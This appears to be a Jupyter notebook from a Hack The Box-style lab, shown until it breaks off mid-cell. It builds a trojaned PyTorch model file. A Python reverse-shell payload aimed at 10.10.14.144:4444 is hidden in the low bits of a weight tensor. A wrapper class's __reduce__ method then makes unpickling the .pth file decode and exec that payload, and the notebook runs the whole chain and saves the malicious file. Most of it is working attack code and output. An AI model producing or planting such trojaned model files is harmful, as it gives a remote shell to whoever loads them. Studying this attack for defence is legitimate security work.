{ "cells": [ { "cell_type": "code", "execution_count": 1, "id": "f97b1740-3e6a-496d-b15b-266fbb357f21", "metadata": {}, "outputs": [], "source": [ "import torch\n", "import torch.nn as nn\n", "import torch.optim as optim\n", "from torch.utils.data import TensorDataset, DataLoader\n", "import numpy as np\n", "import os\n", "\n", "# Seed for reproducibility\n", "SEED = 1337\n", "np.random.seed(SEED)\n", "torch.manual_seed(SEED)\n", "\n", "\n", "# Define a simple Neural Network\n", "class SimpleNet(nn.Module):\n", " def __init__(self, input_size, hidden_size, output_size):\n", " super(SimpleNet, self).__init__()\n", " self.fc1 = nn.Linear(input_size, hidden_size)\n", " self.relu = nn.ReLU()\n", " self.fc2 = nn.Linear(hidden_size, output_size)\n", " # Add a larger layer potentially suitable for steganography later\n", " self.large_layer = nn.Linear(hidden_size, hidden_size * 5)\n", "\n", " def forward(self, x):\n", " x = self.fc1(x)\n", " x = self.relu(x)\n", " x = self.fc2(x)\n", " # Note: large_layer is defined but not used in forward pass for simplicity\n", " # In a real model, all layers would typically be used.\n", " return x\n", "\n", "\n", "# Model parameters\n", "input_dim = 10\n", "hidden_dim = 64 # Increased hidden size for larger layers\n", "output_dim = 1\n", "target_model = SimpleNet(input_dim, hidden_dim, output_dim)\n" ] }, { "cell_type": "code", "execution_count": 2, "id": "9bb8b202-9d26-4934-a8e1-43a4b3401f00", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "SimpleNet model structure:\n", "SimpleNet(\n", " (fc1): Linear(in_features=10, out_features=64, bias=True)\n", " (relu): ReLU()\n", " (fc2): Linear(in_features=64, out_features=1, bias=True)\n", " (large_layer): Linear(in_features=64, out_features=320, bias=True)\n", ")\n", "\n", "Model parameters (state_dict keys and initial values):\n", " fc1.weight: shape=torch.Size([64, 10]), numel=640, dtype=torch.float32\n", " Initial values (first 3): [-0.26669567823410034, -0.002772220876067877, 0.07785409688949585]\n", " fc1.bias: shape=torch.Size([64]), numel=64, dtype=torch.float32\n", " Initial values (first 3): [-0.17913953959941864, 0.3102324306964874, 0.20940756797790527]\n", " fc2.weight: shape=torch.Size([1, 64]), numel=64, dtype=torch.float32\n", " Initial values (first 3): [0.07556618750095367, 0.07089701294898987, 0.027377665042877197]\n", " fc2.bias: shape=torch.Size([1]), numel=1, dtype=torch.float32\n", " Initial values (first 3): [-0.06269672513008118]\n", " large_layer.weight: shape=torch.Size([320, 64]), numel=20480, dtype=torch.float32\n", " Initial values (first 3): [-0.006674066185951233, -0.10536490380764008, -0.006343632936477661]\n", " large_layer.bias: shape=torch.Size([320]), numel=320, dtype=torch.float32\n", " Initial values (first 3): [0.010662317276000977, -0.06012742221355438, -0.09565037488937378]\n" ] } ], "source": [ "print(\"SimpleNet model structure:\")\n", "print(target_model)\n", "print(\"\\nModel parameters (state_dict keys and initial values):\")\n", "for name, param in target_model.state_dict().items():\n", " print(f\" {name}: shape={param.shape}, numel={param.numel()}, dtype={param.dtype}\")\n", " if param.numel() > 0:\n", " print(f\" Initial values (first 3): {param.flatten()[:3].tolist()}\")\n" ] }, { "cell_type": "code", "execution_count": 3, "id": "807308c7-d39c-4346-8814-36fa64298496", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "'Training' the model for 5 epochs...\n", " Epoch [1/5], Loss: 12.1945\n", " Epoch [2/5], Loss: 8.1869\n", " Epoch [3/5], Loss: 4.2915\n", " Epoch [4/5], Loss: 1.3085\n", " Epoch [5/5], Loss: 0.5632\n", "Training complete.\n" ] } ], "source": [ "# Generate dummy data\n", "num_samples = 100\n", "X_train = torch.randn(num_samples, input_dim)\n", "true_weights = torch.randn(input_dim, output_dim)\n", "y_train = X_train @ true_weights + torch.randn(num_samples, output_dim) * 0.5\n", "\n", "# Prepare DataLoader\n", "dataset = TensorDataset(X_train, y_train)\n", "dataloader = DataLoader(dataset, batch_size=16)\n", "\n", "# Loss and optimizer\n", "criterion = nn.MSELoss()\n", "optimizer = optim.Adam(target_model.parameters(), lr=0.01)\n", "\n", "# Simple training loop\n", "num_epochs = 5 # Minimal training\n", "print(f\"\\n'Training' the model for {num_epochs} epochs...\")\n", "target_model.train() # Set model to training mode\n", "for epoch in range(num_epochs):\n", " epoch_loss = 0.0\n", " for inputs, targets in dataloader:\n", " optimizer.zero_grad()\n", " outputs = target_model(inputs)\n", " loss = criterion(outputs, targets)\n", " loss.backward()\n", " optimizer.step()\n", " epoch_loss += loss.item()\n", " print(f\" Epoch [{epoch+1}/{num_epochs}], Loss: {epoch_loss/len(dataloader):.4f}\")\n", "\n", "print(\"Training complete.\")\n" ] }, { "cell_type": "code", "execution_count": 4, "id": "29fc970d-0442-4017-9013-b53b0c4b95d7", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Legitimate model state_dict saved to 'target_model.pth'.\n" ] } ], "source": [ "legitimate_state_dict_file = \"target_model.pth\"\n", "\n", "try:\n", " # Save the model's state dictionary. torch.save uses pickle internally.\n", " torch.save(target_model.state_dict(), legitimate_state_dict_file)\n", " print(f\"\\nLegitimate model state_dict saved to '{legitimate_state_dict_file}'.\")\n", "except Exception as e:\n", " print(f\"\\nError saving legitimate state_dict: {e}\")" ] }, { "cell_type": "code", "execution_count": 5, "id": "7fddacf1-9251-459f-8954-3af2f5ccf22a", "metadata": {}, "outputs": [], "source": [ "import struct" ] }, { "cell_type": "code", "execution_count": 6, "id": "b5567dc2-f8fe-48d1-8b6d-a5a3bf6af18b", "metadata": {}, "outputs": [], "source": [ "def encode_lsb(\n", " tensor_orig: torch.Tensor, data_bytes: bytes, num_lsb: int\n", ") -> torch.Tensor:\n", " \"\"\"Encodes byte data into the LSBs of a float32 tensor (prepends length).\n", "\n", " Args:\n", " tensor_orig: The original float32 tensor.\n", " data_bytes: The byte string to encode.\n", " num_lsb: The number of least significant bits (1-8) to use per float.\n", "\n", " Returns:\n", " A new tensor with the data embedded in its LSBs.\n", "\n", " Raises:\n", " TypeError: If tensor_orig is not a float32 tensor.\n", " ValueError: If num_lsb is not between 1 and 8.\n", " ValueError: If the tensor does not have enough capacity for the data.\n", " \"\"\"\n", " if tensor_orig.dtype != torch.float32:\n", " raise TypeError(\"Tensor must be float32.\")\n", " if not 1 <= num_lsb <= 8:\n", " raise ValueError(\"num_lsb must be 1-8. More bits increase distortion.\")\n", "\n", " tensor = tensor_orig.clone().detach() # Work on a copy\n", "\n", " n_elements = tensor.numel()\n", " tensor_flat = tensor.flatten() # Flatten for easier iteration\n", "\n", " data_len = len(data_bytes)\n", " # Prepend the length of the data as a 4-byte unsigned integer (big-endian)\n", " data_to_embed = struct.pack(\">I\", data_len) + data_bytes\n", "\n", " total_bits_needed = len(data_to_embed) * 8\n", " capacity_bits = n_elements * num_lsb\n", "\n", " if total_bits_needed > capacity_bits:\n", " raise ValueError(\n", " f\"Tensor too small: needs {total_bits_needed} bits, but capacity is {capacity_bits} bits. \"\n", " f\"Required elements: { (total_bits_needed + num_lsb -1) // num_lsb}, available: {n_elements}.\"\n", " )\n", "\n", " data_iter = iter(data_to_embed) # To get bytes one by one\n", " current_byte = next(data_iter, None) # Load the first byte\n", " bit_index_in_byte = 7 # Start from the MSB of the current_byte\n", " element_index = 0 # Index for tensor_flat\n", " bits_embedded = 0 # Counter for total bits embedded\n", "\n", " while bits_embedded < total_bits_needed and element_index < n_elements:\n", " if current_byte is None: # Should not happen if capacity check is correct\n", " break\n", "\n", " original_float = tensor_flat[element_index].item()\n", " # Convert float to its 32-bit integer representation\n", " packed_float = struct.pack(\">f\", original_float)\n", " int_representation = struct.unpack(\">I\", packed_float)[0]\n", "\n", " # Create a mask for the LSBs we want to modify\n", " mask = (1 << num_lsb) - 1\n", " data_bits_for_float = 0 # Accumulator for bits to embed in this float\n", "\n", " for i in range(num_lsb): # For each LSB position in this float\n", " if current_byte is None: # No more data bytes\n", " break\n", " \n", " data_bit = (current_byte >> bit_index_in_byte) & 1\n", " data_bits_for_float |= data_bit << (num_lsb - 1 - i)\n", " \n", " bit_index_in_byte -= 1\n", " if bit_index_in_byte < 0: # Current byte fully processed\n", " current_byte = next(data_iter, None) # Get next byte\n", " bit_index_in_byte = 7 # Reset bit index\n", "\n", " bits_embedded += 1\n", " if bits_embedded >= total_bits_needed: # All data embedded\n", " break\n", "\n", " # Clear the LSBs of the original float's integer representation\n", " cleared_int = int_representation & (~mask)\n", " # Combine the cleared integer with the data bits\n", " new_int_representation = cleared_int | data_bits_for_float\n", "\n", " # Convert the new integer representation back to a float\n", " new_packed_float = struct.pack(\">I\", new_int_representation)\n", " new_float = struct.unpack(\">f\", new_packed_float)[0]\n", "\n", " tensor_flat[element_index] = new_float # Update the tensor\n", " element_index += 1\n", "\n", " print(f\"Encoded {bits_embedded} bits into {element_index} elements using {num_lsb} LSB(s) per element.\")\n", " return tensor" ] }, { "cell_type": "code", "execution_count": 7, "id": "7c285abd-a20a-49ac-87c9-b0b29d179d31", "metadata": {}, "outputs": [], "source": [ "def decode_lsb(tensor_modified: torch.Tensor, num_lsb: int) -> bytes:\n", " \"\"\"Decodes byte data hidden in the LSBs of a float32 tensor.\n", " Assumes data was encoded with encode_lsb (length prepended).\n", "\n", " Args:\n", " tensor_modified: The float32 tensor containing the hidden data.\n", " num_lsb: The number of LSBs (1-8) used per float during encoding.\n", "\n", " Returns:\n", " The decoded byte string.\n", "\n", " Raises:\n", " TypeError: If tensor_modified is not a float32 tensor.\n", " ValueError: If num_lsb is not between 1 and 8.\n", " ValueError: If tensor ends prematurely during decoding or length/payload mismatch.\n", " \"\"\"\n", " if tensor_modified.dtype != torch.float32:\n", " raise TypeError(\"Tensor must be float32.\")\n", " if not 1 <= num_lsb <= 8:\n", " raise ValueError(\"num_lsb must be 1-8.\")\n", "\n", " tensor_flat = tensor_modified.flatten()\n", " n_elements = tensor_flat.numel()\n", " shared_state = {'element_index': 0} \n", "\n", " def get_bits(count: int) -> list[int]:\n", " nonlocal shared_state \n", " bits = []\n", " \n", " while len(bits) < count and shared_state['element_index'] < n_elements:\n", " current_float = tensor_flat[shared_state['element_index']].item()\n", " packed_float = struct.pack(\">f\", current_float)\n", " int_representation = struct.unpack(\">I\", packed_float)[0]\n", " \n", " mask = (1 << num_lsb) - 1\n", " lsb_data = int_representation & mask \n", " \n", " for i in range(num_lsb):\n", " bit = (lsb_data >> (num_lsb - 1 - i)) & 1\n", " bits.append(bit)\n", " if len(bits) == count: \n", " break\n", " \n", " shared_state['element_index'] += 1 \n", " \n", " if len(bits) < count:\n", " raise ValueError(\n", " f\"Tensor ended prematurely. Requested {count} bits, got {len(bits)}. \"\n", " f\"Processed {shared_state['element_index']} elements.\"\n", " )\n", " return bits\n", "\n", " try:\n", " length_bits = get_bits(32) # Decode the 32-bit length prefix\n", " except ValueError as e:\n", " raise ValueError(f\"Failed to decode payload length: {e}\")\n", "\n", " payload_len_bytes = 0\n", " for bit in length_bits:\n", " payload_len_bytes = (payload_len_bytes << 1) | bit\n", "\n", " if payload_len_bytes == 0:\n", " print(f\"Decoded length is 0. Returning empty bytes. Processed {shared_state['element_index']} elements for length.\")\n", " return b\"\" # No payload if length is zero\n", "\n", " try:\n", " payload_bits = get_bits(payload_len_bytes * 8) # Decode the actual payload\n", " except ValueError as e:\n", " raise ValueError(f\"Failed to decode payload (length: {payload_len_bytes} bytes): {e}\")\n", "\n", " decoded_bytes = bytearray()\n", " current_byte_val = 0\n", " bit_count = 0\n", "\n", " for bit in payload_bits:\n", " current_byte_val = (current_byte_val << 1) | bit\n", " bit_count += 1\n", " if bit_count == 8: # A full byte has been assembled\n", " decoded_bytes.append(current_byte_val)\n", " current_byte_val = 0 # Reset for the next byte\n", " bit_count = 0 # Reset bit counter\n", "\n", " print(f\"Decoded {len(decoded_bytes)} bytes. Used {shared_state['element_index']} tensor elements with {num_lsb} LSB(s) per element.\")\n", " return bytes(decoded_bytes)" ] }, { "cell_type": "markdown", "id": "da54b6d7-4820-404c-baa5-7788cced8622", "metadata": {}, "source": [ "# The Attack" ] }, { "cell_type": "code", "execution_count": 8, "id": "3fda83a7-835d-4587-9ff3-061514d1f2c0", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "--- Payload Configuration ---\n", "Payload will target: 10.10.14.144:4444\n", "-----------------------------\n" ] } ], "source": [ "import socket, subprocess, os, pty, sys, traceback # Imports needed by payload\n", "\n", "# Configure connection details for the reverse shell\n", "# Use the IP/DNS name of the machine running the listener, accessible FROM your target instance,\n", "HOST_IP = \"10.10.14.144\" # THIS IS YOUR IP WHEN ON THE HTB NETWORK\n", "LISTENER_PORT = 4444 # The port that you will listen for a connection on\n", "\n", "print(f\"--- Payload Configuration ---\")\n", "print(f\"Payload will target: {HOST_IP}:{LISTENER_PORT}\")\n", "print(f\"-----------------------------\")\n" ] }, { "cell_type": "code", "execution_count": 9, "id": "7565cb18-cceb-4dd0-b583-1644aa8376d6", "metadata": {}, "outputs": [], "source": [ "# The payload string itself\n", "payload_code_string = f\"\"\"\n", "import socket, subprocess, os, pty, sys, traceback\n", "print(\"[PAYLOAD] Payload starting execution.\", file=sys.stderr); sys.stderr.flush()\n", "attacker_ip = '{HOST_IP}'; attacker_port = {LISTENER_PORT}\n", "print(f\"[PAYLOAD] Attempting connection to {{attacker_ip}}:{{attacker_port}}...\", file=sys.stderr); sys.stderr.flush()\n", "s = None\n", "try:\n", " s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(5.0)\n", " s.connect((attacker_ip, attacker_port)); s.settimeout(None)\n", " print(\"[PAYLOAD] Connection successful.\", file=sys.stderr); sys.stderr.flush()\n", " print(\"[PAYLOAD] Redirecting stdio...\", file=sys.stderr); sys.stderr.flush()\n", " os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)\n", " shell = os.environ.get('SHELL', '/bin/bash')\n", " print(f\"[PAYLOAD] Spawning shell: {{shell}}\", file=sys.stderr); sys.stderr.flush() # May not be seen\n", " pty.spawn([shell]) # Start interactive shell\n", "except socket.timeout: print(f\"[PAYLOAD] ERROR: Connection timed out.\", file=sys.stderr); traceback.print_exc(file=sys.stderr); sys.stderr.flush()\n", "except ConnectionRefusedError: print(f\"[PAYLOAD] ERROR: Connection refused.\", file=sys.stderr); traceback.print_exc(file=sys.stderr); sys.stderr.flush()\n", "except Exception as e: print(f\"[PAYLOAD] ERROR: Unexpected error: {{e}}\", file=sys.stderr); traceback.print_exc(file=sys.stderr); sys.stderr.flush()\n", "finally:\n", " print(\"[PAYLOAD] Payload script finishing.\", file=sys.stderr); sys.stderr.flush()\n", " if s:\n", " try: s.close()\n", " except: pass\n", " os._exit(1) # Force exit\n", "\"\"\"\n", "\n" ] }, { "cell_type": "code", "execution_count": 10, "id": "45eaeb78-54f7-4a40-98f9-32a4789939d8", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Payload defined and encoded to 1522 bytes.\n" ] } ], "source": [ "# Encode payload for steganography\n", "payload_bytes_to_hide = payload_code_string.encode(\"utf-8\")\n", "print(f\"Payload defined and encoded to {len(payload_bytes_to_hide)} bytes.\")\n" ] }, { "cell_type": "code", "execution_count": 11, "id": "ee9db9fc-715e-44d2-8ccd-1816e9534ee2", "metadata": {}, "outputs": [], "source": [ "import torch # Ensure torch is imported\n", "import os # Ensure os is imported for file checks\n", "\n", "NUM_LSB = 2 # Number of LSBs to use\n" ] }, { "cell_type": "code", "execution_count": 12, "id": "99f7909c-56b7-4dcb-88ea-cf1177dc1ef9", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Loading legitimate state dict from 'target_model.pth'...\n", "State dict loaded successfully.\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "/tmp/nix-shell-8065-2753228750/ipykernel_39272/2924453032.py:9: FutureWarning: You are using `torch.load` with `weights_only=False` (the current default value), which uses the default pickle module implicitly. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling (See https://github.com/pytorch/pytorch/blob/main/SECURITY.md#untrusted-models for more details). In a future release, the default value for `weights_only` will be flipped to `True`. This limits the functions that could be executed during unpickling. Arbitrary objects will no longer be allowed to be loaded via this mode unless they are explicitly allowlisted by the user via `torch.serialization.add_safe_globals`. We recommend you start setting `weights_only=True` for any use case where you don't have full control of the loaded file. Please open an issue on GitHub for any issues related to this experimental feature.\n", " loaded_state_dict = torch.load(legitimate_state_dict_file) # Load the dictionary\n" ] } ], "source": [ "# Load the legitimate state dict\n", "legitimate_state_dict_file = \"target_model.pth\"\n", "if not os.path.exists(legitimate_state_dict_file):\n", " raise FileNotFoundError(\n", " f\"Legitimate state dict '{legitimate_state_dict_file}' not found.\"\n", " )\n", "\n", "print(f\"\\nLoading legitimate state dict from '{legitimate_state_dict_file}'...\")\n", "loaded_state_dict = torch.load(legitimate_state_dict_file) # Load the dictionary\n", "print(\"State dict loaded successfully.\")\n" ] }, { "cell_type": "code", "execution_count": 13, "id": "0fdfd02b-f6bf-4b8c-950b-4f8f70d61938", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Selected target tensor 'large_layer.weight' with shape torch.Size([320, 64]) and 20480 elements.\n" ] } ], "source": [ "target_key = \"large_layer.weight\"\n", "if target_key not in loaded_state_dict:\n", " raise KeyError(\n", " f\"Target key '{target_key}' not found in state dict. Available keys: {list(loaded_state_dict.keys())}\"\n", " )\n", "\n", "original_target_tensor = loaded_state_dict[target_key]\n", "print(\n", " f\"Selected target tensor '{target_key}' with shape {original_target_tensor.shape} and {original_target_tensor.numel()} elements.\"\n", ")" ] }, { "cell_type": "code", "execution_count": 14, "id": "f18972fa-8b4f-42a2-bb55-9b8f41c13a65", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Payload requires 6104 elements using 2 LSBs.\n" ] } ], "source": [ "# Ensure the payload isn't too large for the chosen tensor\n", "bytes_to_embed = 4 + len(payload_bytes_to_hide) # 4 bytes for length prefix\n", "bits_needed = bytes_to_embed * 8\n", "elements_needed = (bits_needed + NUM_LSB - 1) // NUM_LSB # Ceiling division\n", "print(f\"Payload requires {elements_needed} elements using {NUM_LSB} LSBs.\")\n", "\n", "if original_target_tensor.numel() < elements_needed:\n", " raise ValueError(f\"Target tensor '{target_key}' is too small for the payload!\")\n" ] }, { "cell_type": "code", "execution_count": 15, "id": "414273f1-b64e-4cde-9337-e61dec005bd9", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Payload requires 6104 elements using 2 LSBs.\n" ] } ], "source": [ "# Ensure the payload isn't too large for the chosen tensor\n", "bytes_to_embed = 4 + len(payload_bytes_to_hide) # 4 bytes for length prefix\n", "bits_needed = bytes_to_embed * 8\n", "elements_needed = (bits_needed + NUM_LSB - 1) // NUM_LSB # Ceiling division\n", "print(f\"Payload requires {elements_needed} elements using {NUM_LSB} LSBs.\")\n", "\n", "if original_target_tensor.numel() < elements_needed:\n", " raise ValueError(f\"Target tensor '{target_key}' is too small for the payload!\")\n" ] }, { "cell_type": "code", "execution_count": 16, "id": "93e09074-0b74-463f-9deb-5aba8cb3fd67", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Encoding payload into tensor 'large_layer.weight'...\n", "Encoded 12208 bits into 6104 elements using 2 LSB(s) per element.\n", "Encoding complete.\n", "Replaced 'large_layer.weight' in state dict with modified tensor.\n" ] } ], "source": [ "# Encode the payload into the target tensor\n", "print(f\"\\nEncoding payload into tensor '{target_key}'...\")\n", "try:\n", " modified_target_tensor = encode_lsb(\n", " original_target_tensor, payload_bytes_to_hide, NUM_LSB\n", " )\n", " print(\"Encoding complete.\")\n", "\n", " # Replace the original tensor with the modified one in the dictionary\n", " modified_state_dict = (\n", " loaded_state_dict.copy()\n", " ) # Don't modify the original loaded dict directly\n", " modified_state_dict[target_key] = modified_target_tensor\n", " print(f\"Replaced '{target_key}' in state dict with modified tensor.\")\n", "\n", "except Exception as e:\n", " print(f\"Error during encoding or state dict modification: {e}\")\n", " raise # Re-raise the exception\n" ] }, { "cell_type": "code", "execution_count": 17, "id": "468a3c73-2b6d-4a11-99af-c782e83b4e18", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "TrojanModelWrapper class defined.\n" ] } ], "source": [ "import pickle\n", "import torch\n", "import struct\n", "import traceback\n", "import os\n", "import pty\n", "import socket\n", "import sys\n", "import subprocess\n", "\n", "\n", "class TrojanModelWrapper:\n", " \"\"\"\n", " A malicious wrapper class designed to act as a Trojan.\n", " \"\"\"\n", "\n", " def __init__(self, modified_state_dict: dict, target_key: str, num_lsb: int):\n", " \"\"\"\n", " Initializes the wrapper, pickling the state_dict for embedding.\n", " \"\"\"\n", " print(\n", " f\" [Wrapper Init] Received modified state_dict with {len(modified_state_dict)} keys.\"\n", " )\n", " print(f\" [Wrapper Init] Received target_key: '{target_key}'\")\n", " print(f\" [Wrapper Init] Received num_lsb: {num_lsb}\")\n", "\n", " if target_key not in modified_state_dict:\n", " raise ValueError(\n", " f\"target_key '{target_key}' not found in the provided state_dict.\"\n", " )\n", " if not isinstance(modified_state_dict[target_key], torch.Tensor):\n", " raise TypeError(f\"Value at target_key '{target_key}' is not a Tensor.\")\n", " if modified_state_dict[target_key].dtype != torch.float32:\n", " raise TypeError(f\"Tensor at target_key '{target_key}' is not float32.\")\n", " if not 1 <= num_lsb <= 8:\n", " raise ValueError(\"num_lsb must be between 1 and 8.\")\n", "\n", " try:\n", " self.pickled_state_dict_bytes = pickle.dumps(modified_state_dict)\n", " print(\n", " f\" [Wrapper Init] Successfully pickled state_dict for embedding ({len(self.pickled_state_dict_bytes)} bytes).\"\n", " )\n", " except Exception as e:\n", " print(f\"--- Error pickling state_dict ---\")\n", " print(f\"Error: {e}\")\n", " raise RuntimeError(\n", " \"Failed to pickle state_dict for embedding in wrapper.\"\n", " ) from e\n", "\n", " self.target_key = target_key\n", " self.num_lsb = num_lsb\n", " print(\n", " \" [Wrapper Init] Initialization complete. Wrapper is ready to be pickled.\"\n", " )\n", "\n", " def get_state_dict(self):\n", " try:\n", " return pickle.loads(self.pickled_state_dict_bytes)\n", " except Exception as e:\n", " print(f\"Error deserializing internal state_dict: {e}\")\n", " return None\n", "\n", " def __reduce__(self):\n", " \"\"\"\n", " Exploits pickle deserialization to execute embedded loader code.\n", " \"\"\"\n", " print(\n", " \"\\n[!] TrojanModelWrapper.__reduce__ activated (likely during pickling/saving process)!\"\n", " )\n", " print(\" Preparing loader code string...\")\n", "\n", " # Embed the decode_lsb function source code.\n", " decode_lsb_source = \"\"\"\n", "import torch, struct, pickle, traceback\n", "def decode_lsb(tensor_modified: torch.Tensor, num_lsb: int) -> bytes:\n", " if tensor_modified.dtype != torch.float32: raise TypeError(\"Tensor must be float32.\")\n", " if not 1 <= num_lsb <= 8: raise ValueError(\"num_lsb must be 1-8.\")\n", " tensor_flat = tensor_modified.flatten(); n_elements = tensor_flat.numel(); element_index = 0\n", " def get_bits(count: int) -> list[int]:\n", " nonlocal element_index; bits = []\n", " while len(bits) < count:\n", " if element_index >= n_elements: raise ValueError(f\"Tensor ended prematurely trying to read {count} bits.\")\n", " current_float = tensor_flat[element_index].item();\n", " try: packed_float = struct.pack('>f', current_float); int_representation = struct.unpack('>I', packed_float)[0]\n", " except struct.error: element_index += 1; continue\n", " mask = (1 << num_lsb) - 1; lsb_data = int_representation & mask\n", " for i in range(num_lsb):\n", " bit = (lsb_data >> (num_lsb - 1 - i)) & 1; bits.append(bit)\n", " if len(bits) == count: break\n", " element_index += 1\n", " return bits\n", " try:\n", " length_bits = get_bits(32); length_int = 0\n", " for bit in length_bits: length_int = (length_int << 1) | bit\n", " payload_len_bytes = length_int\n", " if payload_len_bytes == 0: return b''\n", " if payload_len_bytes < 0: raise ValueError(f\"Decoded negative length: {payload_len_bytes}\")\n", " payload_bits = get_bits(payload_len_bytes * 8)\n", " decoded_bytes = bytearray(); current_byte_val = 0; bit_count = 0\n", " for bit in payload_bits:\n", " current_byte_val = (current_byte_val << 1) | bit; bit_count += 1\n", " if bit_count == 8: decoded_bytes.append(current_byte_val); current_byte_val = 0; bit_count = 0\n", " return bytes(decoded_bytes)\n", " except ValueError as e: raise ValueError(f\"Embedded LSB Decode failed: {e}\") from e\n", " except Exception as e_inner: raise RuntimeError(f\"Unexpected Embedded LSB Decode error: {e_inner}\") from e_inner\n", "\"\"\"\n", "\n", " # Embed necessary data\n", " pickled_state_dict_literal = repr(self.pickled_state_dict_bytes)\n", " embedded_target_key = repr(self.target_key)\n", " embedded_num_lsb = self.num_lsb\n", " print(\n", " f\" [Reduce] Embedding {len(self.pickled_state_dict_bytes)} bytes of pickled state_dict.\"\n", " )\n", "\n", " # Construct the loader code string\n", " loader_code = f\"\"\"\n", "import pickle, torch, struct, traceback, os, pty, socket, sys, subprocess\n", "print('[+] Trojan Wrapper: Loader code execution started.', file=sys.stderr); sys.stderr.flush()\n", "{decode_lsb_source}\n", "print('[+] Trojan Wrapper: Embedded decode_lsb function defined.', file=sys.stderr); sys.stderr.flush()\n", "pickled_state_dict_bytes = {pickled_state_dict_literal}\n", "target_key = {embedded_target_key}\n", "num_lsb = {embedded_num_lsb}\n", "print(f'[+] Trojan Wrapper: Embedded data retrieved (state_dict size={{len(pickled_state_dict_bytes)}}, target_key={{target_key!r}}, num_lsb={{num_lsb}}).', file=sys.stderr); sys.stderr.flush()\n", "try:\n", " print('[+] Trojan Wrapper: Deserializing embedded state_dict...', file=sys.stderr); sys.stderr.flush()\n", " reconstructed_state_dict = pickle.loads(pickled_state_dict_bytes)\n", " if not isinstance(reconstructed_state_dict, dict):\n", " raise TypeError(\"Deserialized object is not a dictionary (state_dict).\")\n", " print(f'[+] Trojan Wrapper: State_dict reconstructed successfully ({{len(reconstructed_state_dict)}} keys).', file=sys.stderr); sys.stderr.flush()\n", " if target_key not in reconstructed_state_dict:\n", " raise KeyError(f\"Target key '{{target_key}}' not found in reconstructed state_dict.\")\n", " payload_tensor = reconstructed_state_dict[target_key]\n", " if not isinstance(payload_tensor, torch.Tensor):\n", " raise TypeError(f\"Value for key '{{target_key}}' is not a Tensor.\")\n", " print(f'[+] Trojan Wrapper: Located payload tensor (key={{target_key!r}}, shape={{payload_tensor.shape}}).', file=sys.stderr); sys.stderr.flush()\n", " print(f'[+] Trojan Wrapper: Decoding hidden payload from tensor using {{num_lsb}} LSBs...', file=sys.stderr); sys.stderr.flush()\n", " extracted_payload_bytes = decode_lsb(payload_tensor, num_lsb)\n", " print(f'[+] Trojan Wrapper: Payload decoded successfully ({{len(extracted_payload_bytes)}} bytes).', file=sys.stderr); sys.stderr.flush()\n", " extracted_payload_code = extracted_payload_bytes.decode('utf-8', errors='replace')\n", " print('[!] Trojan Wrapper: Executing final decoded payload (reverse shell)...', file=sys.stderr); sys.stderr.flush()\n", " exec(extracted_payload_code, globals(), locals())\n", " print('[!] Trojan Wrapper: Payload execution initiated.', file=sys.stderr); sys.stderr.flush()\n", "\n", "except Exception as e:\n", " print(f'[!!!] Trojan Wrapper: FATAL ERROR during loader execution: {{e}}', file=sys.stderr);\n", " traceback.print_exc(file=sys.stderr); sys.stderr.flush()\n", "finally:\n", " print('[+] Trojan Wrapper: Loader code sequence finished.', file=sys.stderr); sys.stderr.flush()\n", "\"\"\"\n", " print(\" [Reduce] Loader code string constructed with escaped inner braces.\")\n", " print(\" [Reduce] Returning (exec, (loader_code,)) tuple to pickle.\")\n", " return (exec, (loader_code,))\n", "\n", "\n", "print(\"TrojanModelWrapper class defined.\")" ] }, { "cell_type": "markdown", "id": "9807fd5d-bf29-4202-82f1-ae584c656294", "metadata": {}, "source": [ "# Execute the attack" ] }, { "cell_type": "code", "execution_count": 18, "id": "97f2779c-9dbf-460e-b22e-886a2f5317e8", "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "--- Instantiating TrojanModelWrapper ---\n", " [Wrapper Init] Received modified state_dict with 6 keys.\n", " [Wrapper Init] Received target_key: 'large_layer.weight'\n", " [Wrapper Init] Received num_lsb: 2\n", " [Wrapper Init] Successfully pickled state_dict for embedding (88225 bytes).\n", " [Wrapper Init] Initialization complete. Wrapper is ready to be pickled.\n", "TrojanModelWrapper instance created successfully.\n", "The wrapper instance now internally holds the pickled bytes of the entire modified state_dict.\n", "\n", "--- Saving the Trojan Wrapper Instance to 'malicious_trojan_model.pth' ---\n", "\n", "[!] TrojanModelWrapper.__reduce__ activated (likely during pickling/saving process)!\n", " Preparing loader code string...\n", " [Reduce] Embedding 88225 bytes of pickled state_dict.\n", " [Reduce] Loader code string constructed with escaped inner braces.\n", " [Reduce] Returning (exec, (loader_code,)) tuple to pickle.\n", "Final malicious Trojan file saved successfully to 'malicious_trojan_model.pth'.\n", "File size: 257564 bytes.\n" ] } ], "source": [ "# Ensure the modified state dict exists from the embedding step\n", "if \"modified_state_dict\" not in locals() or not isinstance(modified_state_dict, dict):\n", " raise NameError(\n", " \"Critical Error: 'modified_state_dict' not found or invalid. Cannot create wrapper.\"\n", " )\n", "# Ensure the target key used for embedding is correctly defined\n", "if \"target_key\" not in locals():\n", " raise NameError(\n", " \"Critical Error: 'target_key' variable not defined. Cannot create wrapper.\"\n", " )\n", "\n", "print(f\"\\n--- Instantiating TrojanModelWrapper ---\")\n", "try:\n", " # Create an instance of our wrapper class.\n", " # Pass the entire modified state dictionary, the key identifying the\n", " # payload tensor within that dictionary, and the LSB count.\n", " # The wrapper's __init__ pickles the state_dict internally.\n", " wrapper_instance = TrojanModelWrapper(\n", " modified_state_dict=modified_state_dict,\n", " target_key=target_key,\n", " num_lsb=NUM_LSB,\n", " )\n", " print(\"TrojanModelWrapper instance created 